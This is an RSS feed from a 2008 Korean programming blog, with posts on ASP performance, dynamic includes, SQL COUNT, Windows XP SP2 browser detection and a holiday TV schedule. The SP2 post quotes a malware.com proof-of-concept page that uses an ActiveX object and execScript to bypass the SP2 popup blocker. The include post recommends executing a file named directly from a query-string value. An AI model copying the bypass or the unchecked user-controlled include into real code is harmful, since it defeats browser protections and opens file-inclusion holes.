<?xml version="1.0" encoding="UTF-8" ?>
<rss version="2.0">
<channel>
<title>하얀늑대</title>
<link>http://syabang.com/blog/wolf</link>
<description>하얀늑대의 일상</description>
<language>ko</language>
<pubDate>Tue, 27 May 2008 10:04:18 +0900</pubDate>
<generator>The Simplog (http://thesimplog.com)</generator>
<copyright>Copyright 2008 하얀늑대</copyright>
<docs>http://syabang.com/blog/wolf/rss.xml</docs>
<item>
<title>GetRows 메서드를 이용한 성능향상</title>
<link>http://syabang.com/blog/wolf/index.php/post/249</link>
<description><![CDATA[ GetRows 메서드란 무엇이며 사용해야 하는 이유는 무엇인가?<BR>GetRows 메서드란 레코드셋을 하나의 배열로 변환시키는 메서드를 말한다. 즉 GetRows 메서드를 통해 우리는 레코드셋을 하나의 변수에 배열로 반환시킬 수 있다는 뜻이다. 그렇다면, 왜 우리는 이 메서드를 굳이 사용해야 하는 것일까?<BR><BR>게시판을 예로 들어보자. 필자가 보아온 대부분의 게시판들은 게시물 List를 생성할 때 ADO객체를 사용하여 레코드셋을 생성한 후 루프문을 통해 리스트를 생성하는 방식을 취하고 있다. <BR><BR>아래 샘플 코드를 보자.<BR><BR>
<TABLE cellSpacing=0 borderColorDark=white cellPadding=5 width="100%" bgColor=#efefef borderColorLight=black border=1>
<TBODY>
<TR>
<TD><FONT size=1>&lt;% <BR><BR>strTempSql = "SELECT * FROM [테이블]"<BR><BR>SET objRs = Server.CreateObject("ADODB.RECORDSET")<BR><BR>objRs.Open strTempSql, [커넥션스트링], adOpenForwardOnly, adLockReadOnly, adCmdText<BR><BR><BR>If objRs.Eof Then <BR><BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Do Until objRs.EOF<BR><BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'==리스트 생성==<BR><BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;objRs.MoveNext <BR><BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Loop<BR><BR>End If<BR><BR><BR>objRs.Close : Set objRs = Nothing<BR><BR>%&gt;</FONT> </TD></TR></TBODY></TABLE><BR><BR>위 코드를 보고 무엇이 잘못되었나 하고 의아해 하는 독자들도 있을 것이다. 위 코드는 가장 대중적인 방법으로 많은 ASP책에서 예로 사용하고 있는 기법이며, 많은 개발자들이 위 형식을 취하고 있다. <BR><BR>그렇다면, 위 코드의 단점은 무엇일까? 바로 리스트를 생성하는 동안 레코드셋 객체를 계속 참조해야 한다는 것이다. 위와 같은 코드가 여러 곳에 배치되어 있는 페이지를 생각해 보라. 동시접속자가 많아 질수록 성능은 극도로 나빠질 것이다. 이를 해결하기 위한 방법으로 GetRows 메서드의 사용을 고려해 보아야 한다.<BR><BR>위 샘플코드에 GetRows 메서드를 사용해 보자.<BR><BR>
<TABLE cellSpacing=0 borderColorDark=white cellPadding=5 width="100%" bgColor=#efefef borderColorLight=black border=1>
<TBODY>
<TR>
<TD><FONT size=1>&lt;% <BR><BR>strTempSql = "SELECT * FROM [테이블]"<BR><BR>SET objRs = Server.CreateObject("ADODB.RECORDSET")<BR><BR>objRs.Open strTempSql, [커넥션스트링], adOpenForwardOnly, adLockReadOnly, adCmdText<BR><BR><BR>If objRs.Eof Then <BR><BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;arrRows = objRs.GetRows()<BR><BR>End If<BR><BR>'GetRows 메서드 사용 후 객체를 바로 해제시킨다.<BR><BR>objRs.Close : Set objRs = Nothing<BR><BR><BR>'GetRows를 이용하여 배열로 반환이 되었다면 리스트를 생성한다.<BR><BR>If IsArray(arrRows) Then<BR><BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'Ubound를 사용하여 크기를 알아내자<BR><BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;For intI = 0 To Ubound(arrRows, 2)<BR><BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'== 리스트를 생성한다.<BR><BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Next<BR><BR>End If<BR><BR>%&gt;</FONT> </TD></TR></TBODY></TABLE><BR><BR>GetRows 메서드를 사용하여, 레코드셋 객체에 대한 참조를 바로 해제 시키는 것을 볼 수 있다. <BR><BR>GetRows 메서드를 사용하여 배열로 반환 후 배열의 특성을 사용하여 리스트를 생성함으로써, 웹 서버의 자원 낭비를 감소시키게 되었다. 이로 인해 웹사이트는 더욱 빠른 성능을 사용자에게 제공할 수 있을 것이다. 객체가 차지하는 리소스를 얼마나 빨리 반환해 주느냐에 따라 페이지의 성능은 크게 좌우된다는 것을 알 것이다. <BR><BR>프로그래밍을 하면서 끊임없이 고민해야 할 점은 “어떻게 하면 최소의 비용으로 최대의 성능을 낼 수 있을까?” 라는 부분이다.
<P> 
<DIV class=autosourcing-stub>
<P style="PADDING-RIGHT: 0px; PADDING-LEFT: 0px; FONT-WEIGHT: normal; FONT-SIZE: 12px; PADDING-BOTTOM: 0px; MARGIN: 11px 0px 7px; PADDING-TOP: 0px; FONT-STYLE: normal; FONT-FAMILY: Dotum"><A href="http://blog.naver.com/dudwo00" target=_blank></A>&nbsp;</P></DIV>
<P></P> ]]> </description>
<category>ASP 프로그래밍</category>
<category>GetRows</category>
<pubDate>Tue, 27 May 2008 10:04:18 +0900</pubDate>
<guid>http://syabang.com/blog/wolf/index.php/post/249</guid>
</item>
<item>
<title>include에 변수 사용하기</title>
<link>http://syabang.com/blog/wolf/index.php/post/248</link>
<description><![CDATA[ <P><FONT size=2>강좌 전 태오의 잡담&gt;</FONT></P>
<P><FONT size=2>이 강좌는 Danny(전성대) 님께서 제공하는 유용한 팁들의 퍼레이드 랍니다. ^^ </FONT></P>
<P><FONT size=2>참. 전성대님의 메일주소는 </FONT><A class=con_link href="mailto:junsd@korea.com" target=_blank><FONT size=2>junsd@korea.com</FONT></A><FONT size=2> 이니까요. <BR>강좌와 관련하여 추가적으로 궁금한 부분이 있거나 하시면 메일로 문의하세요 ^^ </FONT></P><FONT size=2>
<HR width="100%" SIZE=1>
</FONT>
<P><FONT size=2>메뉴를 만들어놓고 큰 메뉴에 따라 작은 메뉴를 include 해서 사용하는게 보통입니다. 개발을 하다보면 수많은 include 작업을 하게 되지요. 해서, 이번에는 효과적인 include 에 대한 내용을 살펴보겠습니다. </FONT></P>
<P><FONT size=2>보통 asp에서는 </FONT></P>
<P>
<TABLE style="WIDTH: 469px; HEIGHT: 27px" cellSpacing=1 cellPadding=5 width=469 bgColor=#808080 border=0>
<TBODY>
<TR bgColor=#ffffff>
<TD style="PADDING-LEFT: 20px"><FONT size=2>&lt;!--#includefile=&lt;%=변수%&gt;--&gt; </FONT></TD></TR></TBODY></TABLE></P>
<P><FONT size=2>하게되면 인크루드 Error가 납니다. </FONT></P>
<P><FONT size=2>왜냐하면, include 는 asp를 파싱하여 변수의 값으로 인크루드 하는게 아니고 그 변수명 자체를 가지고 인크루드 하기때문입니다. 그렇다면 무엇이 문제일까요? 파싱 순서에 문제가 있을까요? </FONT></P>
<P><FONT size=2>그렇다면 이렇게 한번 해보지요. Request.QueryString 으로 mode 값을 받았다고 생각해 봅시다. </FONT></P>
<P>
<TABLE style="WIDTH: 466px; HEIGHT: 92px" cellSpacing=1 cellPadding=5 width=466 bgColor=#808080 border=0>
<TBODY>
<TR bgColor=#ffffff>
<TD style="PADDING-LEFT: 20px"><FONT size=2>mode = Request.QueryString("mode") <BR>if mode = a then <BR>&nbsp;&nbsp;&nbsp; &lt;!--#include file="a.asp"--&gt; <BR>elseif mode = b then <BR>&nbsp;&nbsp;&nbsp; &lt;!--#include file="b.asp"--&gt; <BR>end if </FONT></TD></TR></TBODY></TABLE></P>
<P><FONT size=2>이렇게 해보았습니다. 근데 이건 정말 잘 되는군요. 하지만......&nbsp; 설마 진짜로, Request.QueryString 로 받은 mode 값에 따라서 if 문을 쓰실 건 아니시죠? 메뉴가 한두개도 아닐것이며, 너무 비 효율적이기 때문입니다. </FONT></P>
<P><FONT size=2>그렇다면 </FONT></P>
<P>
<TABLE style="WIDTH: 466px; HEIGHT: 27px" cellSpacing=1 cellPadding=5 width=466 bgColor=#808080 border=0>
<TBODY>
<TR bgColor=#ffffff>
<TD style="PADDING-LEFT: 20px"><FONT size=2>&lt;!--#include file="&lt;%=mode%&gt;.asp"--&gt; </FONT></TD></TR></TBODY></TABLE></P>
<P><FONT size=2>이런 효과를 낼수 있는 방법은 정령 없을까요? <BR>(이렇게 하면 바로 에러난다고 말씀드렸죠? 에러구문을 써본것입니다.^^) </FONT></P>
<P><FONT size=2>왜 없겠습니까? 바로!!! 이럴 때에는 다음과 같이 변수값을 받아서 </FONT></P>
<P>
<TABLE style="WIDTH: 466px; HEIGHT: 40px" cellSpacing=1 cellPadding=5 width=466 bgColor=#808080 border=0>
<TBODY>
<TR bgColor=#ffffff>
<TD style="PADDING-LEFT: 20px"><FONT size=2>dirFile = Request("mode") + ".asp"<BR>Server.Execute(dirFile) </FONT></TD></TR></TBODY></TABLE></P>
<P><FONT size=2>이렇게 하면 include 가 된답니다. ASP 3에서부터 지원되는 Execute 메서드의 도움으로 말입니다. server.execute 는 asp 언어로 include 와 비슷한 역할을 하기때문에 순차적으로 파싱이 되어 dirFile 의 값으로 된 파일을 인크루드 할수 있습니다. </FONT></P>
<P><FONT size=2>많이 사용되는 구문이니 기억해 </FONT></P> ]]> </description>
<category>ASP 프로그래밍</category>
<category>include</category>
<pubDate>Fri, 29 Feb 2008 10:27:43 +0900</pubDate>
<guid>http://syabang.com/blog/wolf/index.php/post/248</guid>
</item>
<item>
<title>sql 카운터</title>
<link>http://syabang.com/blog/wolf/index.php/post/247</link>
<description><![CDATA[ <P>1.COUNT(*) : NULL값 포함<BR>2.COUNT(DISTINCT expression) : NULL,중복 제거<BR>3.COUNT(ALL expression) : NULL제거, 중복 포함<BR>4.COUNT(expression) : 'EXPRESSION이 NULL이 아닌값들의 갯수' <BR>&nbsp;</P>
<P>카운트는 사물의 숫자를 세듯 하나, 둘,~~~ 이게 카운터 아닌가!<BR>돼지 몇마리~~~,&nbsp; 소 몇마리~~~,&nbsp;&nbsp; 이런식으로 종류별로 카운트가 될수 있겠고 </P>
<P>'1번'은 책이나 지식인에 따른 내용에 의하면 '0'도 아니고 '공백'도 아닌 'null'를 포함해서 카운트 한다....??? </P>
<P>'2번'은 'null'은 포함 중복된 내용은 제거하고 카운트 한다....? </P>
<P>'3번' 'null'은 제거 중복된 내용은 포함해서 카운트 ...&nbsp;&nbsp; ? </P>
<P>'4번' "'EXPRESSION(수식-어떤 값을 계산하는 숫자 변수 함수 호출 결과값)이 'null'아닌값들의 갯수...?? </P>
<P>어떻게 활용할지는 아직 잘 모르겠으나 간단한 형식은&nbsp; 일단 아래와 같이 문제 풀이를 해보았다! </P>
<P>직종별 사원의 숫자를 출력</P>
<P>select a.job<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ,count(a.sal)<BR>&nbsp;&nbsp; from emp a</P>
<P>&nbsp; group </P>
<P>&nbsp;</P> ]]> </description>
<category>컴퓨터 Tip</category>
<category>카운터</category>
<category>sql</category>
<pubDate>Mon, 25 Feb 2008 15:25:13 +0900</pubDate>
<guid>http://syabang.com/blog/wolf/index.php/post/247</guid>
</item>
<item>
<title>브라우져 XP 서비스팩2 판별</title>
<link>http://syabang.com/blog/wolf/index.php/post/246</link>
<description><![CDATA[ <DIV><FONT size=2>OS가 Windows SP2 일 경우 $HTTP_USER_AGENT 가 어떻게 표기되나요?<BR>저나 주위에 SP2 쓰시는 분이 없어서 테스트를 못해보네요.. ㅡㅡ;;<BR>그리고 자바스크립트에서 위와 같은 혹은 비슷한 기능을 하는 함수가 있다면 알려주시면 고맙겠습니다.<BR>미리 감사드립니다.. </FONT><BR></DIV>
<DIV>Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)</DIV>
<DIV>&nbsp;</DIV>
<DIV>WinXP SP2 : <BR>Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)</DIV>
<DIV>&nbsp;</DIV>
<DIV>============================================================================================</DIV>
<DIV><FONT size=2>서비스팩2를 설치한 사용자의 경우 팝업창을 띄우면 하단에 상태표시줄이 사라지지 않아서 사이즈를 세로 20px 더 잡아줘야하는등..&nbsp;&nbsp;뭐... 하여간 이래저래 변경사항이 많습니다.<BR><BR>서비스팩2를 설치하여 사용하는 사용자인가의 여부를 판별하기 위한 초간단 팁~! 같지도 않은 팁!<BR><BR>if(eregi("SV1",$_SERVER['HTTP_USER_AGENT'])) { $servicePack = "사용"; } else { $servicePack = "안사용"; }<BR><BR>재량껏 사용하기 바랍니다. </FONT></DIV>
<DIV><FONT size=2></FONT>&nbsp;</DIV>
<DIV><FONT size=2>===============================================================================</FONT></DIV>
<DIV><FONT size=2>서비스팩2를 깔고 HTTP_USER_AGENT를 보면<BR>Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) <BR><BR>그렇지 않은 버전이면 <BR>Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) <BR>이렇게 나옵니다.</FONT></DIV>
<DIV><FONT size=2></FONT>&nbsp;</DIV>
<DIV><FONT size=2>===============================================================================</FONT></DIV>
<DIV><FONT size=2>[자바스크립트에서]</FONT></DIV>
<DIV><FONT size=2>isopen = window.open("pop.html");<BR>if(isopen == false){<BR>alert("새창띄우기 실패");<BR>}</FONT></DIV>
<DIV><FONT size=2></FONT>&nbsp;</DIV>
<DIV><FONT size=2>===============================================================================</FONT></DIV>
<DIV><FONT size=2>&lt;script language="javascript"&gt;<BR>function my_resize()<BR>{<BR>&nbsp; &nbsp; &nbsp; &nbsp;var g_fIsSP2 = false;<BR>&nbsp; &nbsp; &nbsp; &nbsp;g_fIsSP2 = (window.navigator.userAgent.indexOf("SV1") != -1);<BR>&nbsp; &nbsp; &nbsp; &nbsp;if (g_fIsSP2)&nbsp;&nbsp;&nbsp;&nbsp; {&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp; &nbsp; &nbsp; &nbsp;&nbsp; &nbsp; &nbsp; &nbsp;// XP SP2 브라우저임..<BR>&nbsp; &nbsp; &nbsp; &nbsp;&nbsp; &nbsp; &nbsp; &nbsp;window.resizeTo(600,522);<BR>&nbsp; &nbsp; &nbsp; &nbsp;}&nbsp;&nbsp; else&nbsp;&nbsp;&nbsp;&nbsp; {<BR>&nbsp; &nbsp; &nbsp; &nbsp;&nbsp; &nbsp; &nbsp; &nbsp;//XP SP2 브라우저가 아님.<BR>&nbsp; &nbsp; &nbsp; &nbsp;&nbsp; &nbsp; &nbsp; &nbsp;window.resizeTo(600,502);<BR>&nbsp;&nbsp;&nbsp;&nbsp;}<BR>}<BR>&lt;/script&gt;&nbsp; &nbsp; &nbsp; &nbsp;<BR><BR>&lt;body&nbsp;&nbsp;omLoad="my_resize();"&gt;</FONT></DIV>
<DIV><FONT size=2></FONT>&nbsp;</DIV>
<DIV><FONT size=2>===============================================================================</FONT></DIV>
<DIV><FONT size=2><STRONG>XP SP2 팝업방지 기능 무시하고 팝업창 띄우기.</STRONG></FONT></DIV>
<DIV><FONT size=2>&lt;HTML&gt;<BR>&lt;HEAD&gt;<BR>&lt;TITLE&gt;malware.com&lt;/TITLE&gt;<BR>&lt;META NAME="Author" CONTENT="malware.com"&gt;<BR>&lt;meta name="robots" content="noindex, nofollow"&gt;<BR>&lt;/HEAD&gt;<BR>&nbsp;</FONT></DIV><FONT size=2>
<DIV><BR>&lt;body omload="setTimeout('&nbsp;&nbsp; main()&nbsp;&nbsp; ',1000)"&gt;<BR>&lt;object <BR>&nbsp;id="x"<BR>&nbsp;classid="clsid:2D360201-FFF5-11d1-8D03-00A0C959BC0A"<BR>&nbsp;width="1" <BR>&nbsp;height="1" <BR>&nbsp;align="middle"<BR>&gt;<BR>&lt;PARAM NAME="ActivateApplets" VALUE="1"&gt;<BR>&lt;PARAM NAME="ActivateActiveXControls" VALUE="1"&gt;<BR>&lt;/object&gt;</DIV>
<DIV>&lt;SCRIPT&gt;</DIV>
<DIV>// 10.11.04 <A href="http://www.editive.com/">http://www.editive.com</A></DIV>
<DIV>function shellscript()<BR>{<BR>&nbsp;open("<A href='http://www.malware.com/flywin.html","_blank","scrollbar=no'>http://www.malware.com/flywin.html","_blank","scrollbar=no</A>");<BR>&nbsp;showModalDialog("<A href="http://www.malware.com/flywin.html">http://www.malware.com/flywin.html</A>");<BR>&nbsp;}</DIV>
<DIV>function main()<BR>{<BR>&nbsp;x.DOM.Script.execScript(shellscript.toString());<BR>&nbsp;x.DOM.Script.setTimeout("shellscript()");<BR>}<BR>&lt;/SCRIPT&gt;<BR>&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;center&gt;&lt;img src=nocigar.gif&gt;&lt;br&gt;&lt;br&gt;&lt;FONT FACE=ARIAL SIZE 12PT&gt;NO CIGAR !&lt;/FONT&gt;&lt;/center&gt;<BR>&lt;/body&gt;<BR>&lt;/html&gt;</FONT></DIV>
<DIV><FONT size=2></FONT>&nbsp;</DIV>
<DIV><FONT size=2>============================================================================</FONT></DIV>
<DIV><FONT size=2>요즘 sp2때문에 신경쓰이죠<BR>저는 아직 이것땜에 신경쓸 일은 없었는데<BR>누가 sp2설치여부를 확인할 수 있을까 물어보시길래<BR>혹시나 ie에서 user-agent가 다를까 싶어 찾아봤더니<BR>그냥 xp랑.. sp2가 설치된 xp랑 조금 다르네요<BR>확인사살로 구글에서 검색해본 결과<BR><BR>function browserVersion(){&nbsp;&nbsp;&nbsp;&nbsp;<BR>tmp_MSIE = window.navigator.userAgent.indexOf("MSIE");<BR>if(tmp_MSIE &amp;&amp; window.navigator.userAgent.indexOf("SV1") &gt; tmp_MSIE){&nbsp;&nbsp; <BR>//This browser is Internet Explorer with SP2.&nbsp;&nbsp; <BR>return true; <BR>} else {<BR>//This browser is not Internet Explorer with SP2.<BR>return false;<BR>}<BR>}<BR>var xpie_SP2 = browserVersion();<BR><BR>요점은...<BR>php에서 $_SERVER['HTTP_USER_AGENT'] 값이나.. javascript에서 navigator.userAgent값을 보면<BR>그냥 xp는 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) 이렇게 나오구요<BR>sp2를 설치하면 Windows NT 5.1; SV1 이렇게 SV1이 추가로 나옵니다.<BR><BR>당연히 IE가 아니면 안나오겠죠..?</FONT></DIV>
<DIV><FONT size=2></FONT>&nbsp;</DIV> ]]> </description>
<category>Javascript</category>
<category>서비스팩</category>
<pubDate>Wed, 20 Feb 2008 09:00:43 +0900</pubDate>
<guid>http://syabang.com/blog/wolf/index.php/post/246</guid>
</item>
<item>
<title>설연휴 프로그램(필수입니다.) 즐거운 설연휴되세여 ^^</title>
<link>http://syabang.com/blog/wolf/index.php/post/245</link>
<description><![CDATA[ <P><FONT size=2>5일 </FONT>
<TABLE width=601>
<TBODY>
<TR class=tbdr>
<TH width="18%"><FONT size=2>시간 </FONT>
<TH width="8%"><FONT size=2>방송국 </FONT>
<TH width="38%"><FONT size=2>영화명 </FONT>
<TH width="32%"><FONT size=2>출연 </FONT>
<TR class=bbdr>
<TD width=106><FONT size=2>오후 11시 10분 </FONT>
<TD width=51><A href="http://rd.empas.com/r.tsp/%BC%B3%BF%AC%C8%DE+%BF%B5%C8%AD/E6:A:010100:1BB76BA06::t/*http://www.imbc.com" target=_blank><FONT size=2>MBC</FONT></A><FONT size=2> </FONT>
<TD width=231><A href="http://rd.empas.com/r.tsp/%BC%B3%BF%AC%C8%DE+%BF%B5%C8%AD/E6:B:010100:1BB76BA06::t/*http://search.empas.com/search/all.html?z=A&amp;q=%BF%B5%C8%AD+%C4%B3%B8%AE%BA%F1%BE%C8%C0%C7+%C7%D8%C0%FB+%B8%C1%C0%DA%C0%C7+%C7%D4&amp;qn=&amp;s=&amp;f=&amp;bd=&amp;bw=&amp;tq=&amp;nq=2"><FONT size=2>캐리비안의 해적 : 망자의 함</FONT></A><FONT size=2> </FONT>
<TD width=195><A href="http://rd.empas.com/r.tsp/%BC%B3%BF%AC%C8%DE+%BF%B5%C8%AD/E6:C:010100:1BB76BA06::t/*http://search.empas.com/search/all.html?q=%C1%B6%B4%CF+%B5%AA&amp;nq=2"><FONT size=2>조니 뎁</FONT></A><FONT size=2>, </FONT><A href="http://rd.empas.com/r.tsp/%BC%B3%BF%AC%C8%DE+%BF%B5%C8%AD/E6:D:010100:1BB76BA06::t/*http://search.empas.com/search/all.html?q=%BF%C3%B6%F5%B5%B5+%BA%ED%B7%EB&amp;nq=2"><FONT size=2>올란도 블룸</FONT></A><FONT size=2> </FONT>
<TR class=bbdr>
<TD width=106><FONT size=2>오후 11시 15분 </FONT>
<TD width=51><A href="http://rd.empas.com/r.tsp/%BC%B3%BF%AC%C8%DE+%BF%B5%C8%AD/E6:E:010100:1BB76BA06::t/*http://www.sbs.co.kr" target=_blank><FONT size=2>SBS</FONT></A><FONT size=2> </FONT>
<TD width=231><A href="http://rd.empas.com/r.tsp/%BC%B3%BF%AC%C8%DE+%BF%B5%C8%AD/E6:F:010100:1BB76BA06::t/*http://search.empas.com/search/all.html?z=A&amp;q=%BF%B5%C8%AD+%C0%CC%C0%E5%B0%FA+%B1%BA%BC%F6&amp;a=w&amp;s=&amp;f=&amp;nq=2"><FONT size=2>이장과 군수</FONT></A><FONT size=2> </FONT>
<TD width=195><A href="http://rd.empas.com/r.tsp/%BC%B3%BF%AC%C8%DE+%BF%B5%C8%AD/E6:10:010100:1BB76BA06::t/*http://search.empas.com/search/all.html?q=%C2%F7%BD%C2%BF%F8&amp;nq=2"><FONT size=2>차승원</FONT></A><FONT size=2>, </FONT><A href="http://rd.empas.com/r.tsp/%BC%B3%BF%AC%C8%DE+%BF%B5%C8%AD/E6:11:010100:1BB76BA06::t/*http://search.empas.com/search/all.html?q=%C0%AF%C7%D8%C1%F8&amp;nq=2"><FONT size=2>유해진</FONT></A><FONT size=2>, </FONT><A href="http://rd.empas.com/r.tsp/%BC%B3%BF%AC%C8%DE+%BF%B5%C8%AD/E6:12:010100:1BB76BA06::t/*http://search.empas.com/search/all.html?q=%BA%AF%C8%F1%BA%C0&amp;nq=2"><FONT size=2>변희봉</FONT></A><FONT size=2> </FONT></TD></TR></TBODY></TABLE>
<P><FONT size=2>6일 </FONT>
<TABLE width=601>
<TBODY>
<TR class=bbdr>
<TD width=113><FONT size=2>오전 10시 35분 </FONT>
<TD width=51><A href="http://rd.empas.com/r.tsp/%BC%B3%BF%AC%C8%DE+%BF%B5%C8%AD/E6:13:010100:1BB76BA06::t/*http://www.imbc.com" target=_blank><FONT size=2>MBC</FONT></A><FONT size=2> </FONT>
<TD width=223><A href="http://rd.empas.com/r.tsp/%BC%B3%BF%AC%C8%DE+%BF%B5%C8%AD/E6:14:010100:1BB76BA06::t/*http://search.empas.com/search/all.html?z=A&amp;q=%BF%B5%C8%AD+%B0%A1%B9%AE%C0%C7+%BA%CE%C8%B0&amp;qn=&amp;s=&amp;f=&amp;bd=&amp;bw=&amp;tq=&amp;nq=2"><FONT size=2>가문의 부활</FONT></A><FONT size=2> </FONT>
<TD width=196><A href="http://rd.empas.com/r.tsp/%BC%B3%BF%AC%C8%DE+%BF%B5%C8%AD/E6:15:010100:1BB76BA06::t/*http://search.empas.com/search/all.html?q=%BD%C5%C7%F6%C1%D8&amp;nq=2"><FONT size=2>신현준</FONT></A><FONT size=2>, </FONT><A href="http://rd.empas.com/r.tsp/%BC%B3%BF%AC%C8%DE+%BF%B5%C8%AD/E6:16:010100:1BB76BA06::t/*http://search.empas.com/search/all.html?q=%B1%E8%BF%F8%C8%F1&amp;nq=2"><FONT size=2>김원희</FONT></A><FONT size=2>, </FONT><A href="http://rd.empas.com/r.tsp/%BC%B3%BF%AC%C8%DE+%BF%B5%C8%AD/E6:17:010100:1BB76BA06::t/*http://search.empas.com/search/all.html?q=%B1%E8%BC%F6%B9%CC&amp;nq=2"><FONT size=2>김수미</FONT></A><FONT size=2> </FONT>
<TR class=bbdr>
<TD width=113><FONT size=2>오전 10시 35분 </FONT>
<TD width=51><A href="http://rd.empas.com/r.tsp/%BC%B3%BF%AC%C8%DE+%BF%B5%C8%AD/E6:18:010100:1BB76BA06::t/*http://www.sbs.co.kr" target=_blank><FONT size=2>SBS</FONT></A><FONT size=2> </FONT>
<TD width=223><A href="http://rd.empas.com/r.tsp/%BC%B3%BF%AC%C8%DE+%BF%B5%C8%AD/E6:19:010100:1BB76BA06::t/*http://search.empas.com/search/all.html?z=A&amp;q=%BF%B5%C8%AD+%C0%DB%BE%F7%C0%C7+%C1%A4%BC%AE&amp;qn=&amp;s=&amp;f=&amp;bd=&amp;bw=&amp;tq=&amp;nq=2"><FONT size=2>작업의 정석</FONT></A><FONT size=2> </FONT>
<TD width=196><A href="http://rd.empas.com/r.tsp/%BC%B3%BF%AC%C8%DE+%BF%B5%C8%AD/E6:1A:010100:1BB76BA06::t/*http://search.empas.com/search/all.html?q=%BC%D5%BF%B9%C1%F8&amp;nq=2"><FONT size=2>손예진</FONT></A><FONT size=2>, </FONT><A href="http://rd.empas.com/r.tsp/%BC%B3%BF%AC%C8%DE+%BF%B5%C8%AD/E6:1B:010100:1BB76BA06::t/*http://search.empas.com/search/all.html?q=%BC%DB%C0%CF%B1%B9&amp;nq=2"><FONT size=2>송일국</FONT></A><FONT size=2>, </FONT><A href="http://rd.empas.com/r.tsp/%BC%B3%BF%AC%C8%DE+%BF%B5%C8%AD/E6:1C:010100:1BB76BA06::t/*http://search.empas.com/search/all.html?q=%B3%EB%C1%D6%C7%F6&amp;nq=2"><FONT size=2>노주현</FONT></A><FONT size=2> </FONT>
<TR class=bbdr>
<TD width=113><FONT size=2>오후 03시 30분 </FONT>
<TD width=51><A href="http://rd.empas.com/r.tsp/%BC%B3%BF%AC%C8%DE+%BF%B5%C8%AD/E6:1D:010100:1BB76BA06::t/*http://www.kbs.co.kr" target=_blank><FONT size=2>KBS1TV</FONT></A><FONT size=2> </FONT>
<TD width=223><A href="http://rd.empas.com/r.tsp/%BC%B3%BF%AC%C8%DE+%BF%B5%C8%AD/E6:1E:010100:1BB76BA06::t/*http://search.empas.com/search/all.html?z=A&amp;q=%B0%C5%BA%CF%C0%CC%B4%C2+%C0%C7%BF%DC%B7%CE+%BB%A1%B8%AE+%C7%EC%BE%F6%C4%A3%B4%D9&amp;qn=&amp;s=&amp;f=&amp;bd=&amp;bw=&amp;tq=&amp;nq=2"><FONT size=2>거북이는 의외로 빨리 헤엄친다</FONT></A><FONT size=2> </FONT>
<TD width=196><A href="http://rd.empas.com/r.tsp/%BC%B3%BF%AC%C8%DE+%BF%B5%C8%AD/E6:1F:010100:1BB76BA06::t/*http://search.empas.com/search/all.html?q=%BF%EC%BF%A1%B3%EB+%C1%EA%B8%AE&amp;nq=2"><FONT size=2>우에노 쥬리</FONT></A><FONT size=2>, </FONT><A href="http://rd.empas.com/r.tsp/%BC%B3%BF%AC%C8%DE+%BF%B5%C8%AD/E6:20:010100:1BB76BA06::t/*http://search.empas.com/search/all.html?z=A&amp;q=%BE%C6%BF%C0%C0%CC+%C0%AF%BF%EC&amp;qn=&amp;s=&amp;f=&amp;bd=&amp;bw=&amp;tq=&amp;nq=2"><FONT size=2>아오이 유우</FONT></A><FONT size=2> </FONT>
<TR class=bbdr>
<TD width=113><FONT size=2>오후 07시 50분 </FONT>
<TD width=51><A href="http://rd.empas.com/r.tsp/%BC%B3%BF%AC%C8%DE+%BF%B5%C8%AD/E6:21:010100:1BB76BA06::t/*http://www.kbs.co.kr" target=_blank><FONT size=2>KBS2TV</FONT></A><FONT size=2> </FONT>
<TD width=223><A href="http://rd.empas.com/r.tsp/%BC%B3%BF%AC%C8%DE+%BF%B5%C8%AD/E6:22:010100:1BB76BA06::t/*http://search.empas.com/search/all.html?z=A&amp;q=%BF%B5%C8%AD+%B8%F8%B8%BB%B8%AE%B4%C2+%B0%E1%C8%A5&amp;qn=&amp;s=&amp;f=&amp;bd=&amp;bw=&amp;tq=&amp;nq=2"><FONT size=2>못말리는 결혼</FONT></A><FONT size=2> </FONT>
